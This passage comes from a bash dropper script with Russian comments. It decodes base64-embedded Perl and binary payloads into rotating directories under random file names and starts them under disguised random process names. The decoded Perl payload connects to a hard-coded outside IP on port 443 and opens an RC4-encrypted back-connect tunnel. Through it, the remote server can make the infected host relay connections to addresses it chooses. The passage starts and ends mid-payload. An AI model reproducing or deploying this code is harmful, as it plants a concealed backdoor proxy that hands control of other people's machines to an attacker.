ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #31 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #31 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 32 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNTMnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #32 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a 